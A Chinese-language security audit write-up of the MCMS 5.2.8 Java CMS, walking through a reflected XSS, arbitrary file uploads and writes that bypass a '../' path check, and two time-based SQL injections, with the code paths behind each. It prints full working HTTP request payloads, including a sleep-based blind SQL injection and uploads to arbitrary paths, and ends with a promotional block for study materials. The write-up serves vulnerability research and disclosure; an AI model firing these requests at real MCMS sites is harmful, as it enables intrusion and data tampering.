• 记一次MCMS的审计之路


      MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。

      十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 MCMS 5.2.8

    image-20220927104524-1hg4b3o.png

    环境搭建

      我们下载好安装包后

    • 利用 idea 打开项目

    • 创建数据库 mcms,导入 doc/mcms-5.2.8.sql

    • 修改 src/main/resources/application-dev.yml 中关于数据库设置参数

    • 运行MSApplication.java main方法

    • 利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do

    • 进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章

      启动的时候会有一点小 bug 需要在 idea 中配置

    image-20220928110151-1sq5pge.png

      运行成功后,页面如图所示

    前台反射型 XSS

    漏洞复现

      ‍

    image-20220927124814-9z2q2i7.png

    image-20220927114836-kaxyt7t.png

    image-20220927114907-w1eijnt.png

    【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

     ① 网安学习成长路径思维导图
     ② 60+网安经典常用工具包
     ③ 100+SRC漏洞分析报告
     ④ 150+网安攻防实战技术电子书
     ⑤ 最权威CISSP 认证考试指南+题库
     ⑥ 超1800页CTF实战技巧手册
     ⑦ 最新网安大厂面试题合集(含答案)
     ⑧ APP客户端安全检测指南(安卓+IOS)  ​

    漏洞分析

      我们看到运行后的控制台输出为

    image-20220928105231-n0n35r8.png

      我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,

      net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)

    image-20220928105759-11yv63j.png

      ‍

    后台命令执行一

    漏洞复现

      后台有一个可以上传模板文件的位置

    image-20220928142757-8okay5r.png

      我们上传文件并抓取数据包

    image-20220928142952-n9m7tm3.png

      ‍

      我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容

    image-20220928143119-bsb0xgu.png

      通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下

      我们写一个 1.txt 进行验证

    POST /ms/file/uploadTemplate.do HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Length: 506
    Accept: */*
    Accept-Encoding: identity
    Accept-Language: zh-CN,zh;q=0.9
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
    Cookie:
    Origin: http://localhost:8080
    Referer: http://localhost:8080/ms/template/list.do?template=1/default
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"

    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="uploadPath"

    /
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="uploadFloderPath"

    true
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="rename"

    false
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="file"; filename="1.txt"
    Content-Type: text/html

    test
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A--

    image-20220928145141-c9yfpgf.png

    image-20220928145205-whxmf2l.png

    漏洞分析

      通过路由 /ms/file/uploadTemplate 定位到代码位置

      net.mingsoft.basic.action.ManageFileAction#uploadTemplate

    image-20220928160122-jtvvscv.png

      我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

      net.mingsoft.basic.action.ManageFileAction#checkUploadPath

    image-20220928160447-oysdbe4.png

      net.mingsoft.basic.action.BaseFileAction#uploadTemplate

    image-20220928165412-vdv3adh.png

    后台命令执行二

    漏洞复现

      我们看到除了上传模板的接口,还存在编辑模板的接口

    image-20220928160841-vm8m761.png

      点击编辑,编辑后保存并抓取数据包

      原本的数据包

    image-20220928161403-auwiag5.png

      我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入

    image-20220928161204-cdn09ld.png

    image-20220928161235-2wyfscl.png

    漏洞分析

      net.mingsoft.basic.action.TemplateAction#writeFileContent

    image-20220928162129-twnepqj.png

      我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件

      ‍

    后台命令执行三

    漏洞复现

      构造数据包

    POST /ms/file/upload.do HTTP/1.1
    Host: localhost:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Length: 506
    Accept: */*
    Accept-Encoding: identity
    Accept-Language: zh-CN,zh;q=0.9
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
    Cookie:
    Origin: http://localhost:8080
    Referer: http://localhost:8080/ms/template/list.do?template=1/default
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"

    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="uploadPath"

    /
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="uploadFloderPath"

    true

    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="rename"

    false

    ------WebKitFormBoundaryz3nUf5Hws24R3B3A
    Content-Disposition: form-data; name="file"; filename="3.txt"
    Content-Type: text/html

    test
    ------WebKitFormBoundaryz3nUf5Hws24R3B3A--

      返回上传成功的文件的地址

    image-20220928165615-paqrmzk.png

      ‍

    漏洞分析

      这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内

      net.mingsoft.basic.action.ManageFileAction#upload

    image-20220928165037-8eoeckm.png

      虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过

      对文件的上传是利用了

      net.mingsoft.basic.action.BaseFileAction#upload

    image-20220928165157-yo8xc71.png

      存在很多过滤,但是还是可以成功上传文件

      ‍

    后台 SQL 注入漏洞

      ‍

    漏洞复现

      构造数据包

    GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
    Host: localhost:8080
    Accept: application/json, text/plain, */*
    Accept-Encoding: gzip, deflate, br
    Accept-Language: zh-CN,zh;q=0.9
    Cache-Control: no-cache
    Cookie:
    Pragma: no-cache
    Referer: http://localhost:8080/ms/model/index.do?
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    X-Requested-With: XMLHttpRequest
    sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    token: null

    image-20220928170542-7dnbxco.png

      发现成功使得服务器沉睡五秒

    漏洞分析

      net.mingsoft.mdiy.action.PageAction#verify

    image-20220928170820-sdfbxhj.png

      获取参数并传到方法 validated

      net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)

    image-20220928170930-u4fodj8.png

      将 fieldName 和 fieldValue 的传入到 where 参数中

      net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)

    image-20220928172007-argi62z.png

      ​

      net.mingsoft.base.dao.IBaseDao#queryBySQL

    image-20220928171609-c9f4mpn.png

      因为是 mybits 所以未采用预编译的 ${ 就容易产生注入

    image-20220928171341-tqn8buu.png

      ‍

    后台 SQL 注入二

    漏洞复现

      登录后台后我们找到自定义模型的位置

    image-20220929101857-lemvzme.png

      根据代码生成器 生成一个自定义模型 json 并导入保存

      点击删除时 抓取数据包

    image-20220929102027-2q0n4ko.png

      修改modelTableName

    image-20220929102232-uz0al4y.png

      发现成功使得服务器沉睡五秒

    漏洞分析

      net.mingsoft.mdiy.action.ModelAction#delete

    image-20220929102320-wcncq1y.png

      net.mingsoft.base.biz.impl.BaseBizImpl#dropTable

    image-20220929102848-8m520jm.png

      ​

      net.mingsoft.base.dao.IBaseDao

    image-20220929102914-2l9ieiy.png

      ‍

    image-20220929102818-888xgr8.png

      查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。

     更多靶场实验练习、网安学习资料,请点击这里>>

  • 相关阅读:
    java开发环境
    堆栈方法区的创建
    Jmeter- 笔记8
    Jmeter- 笔记7
    Jmeter- 笔记6
    Jmeter- 笔记5
    Jmeter- 笔记4
    Jmeter- 笔记3
    Jmeter- 笔记2
    Jmeter- 笔记1
  • 原文地址:https://www.cnblogs.com/hetianlab/p/16745718.html
Copyright © 2020-2023  润新知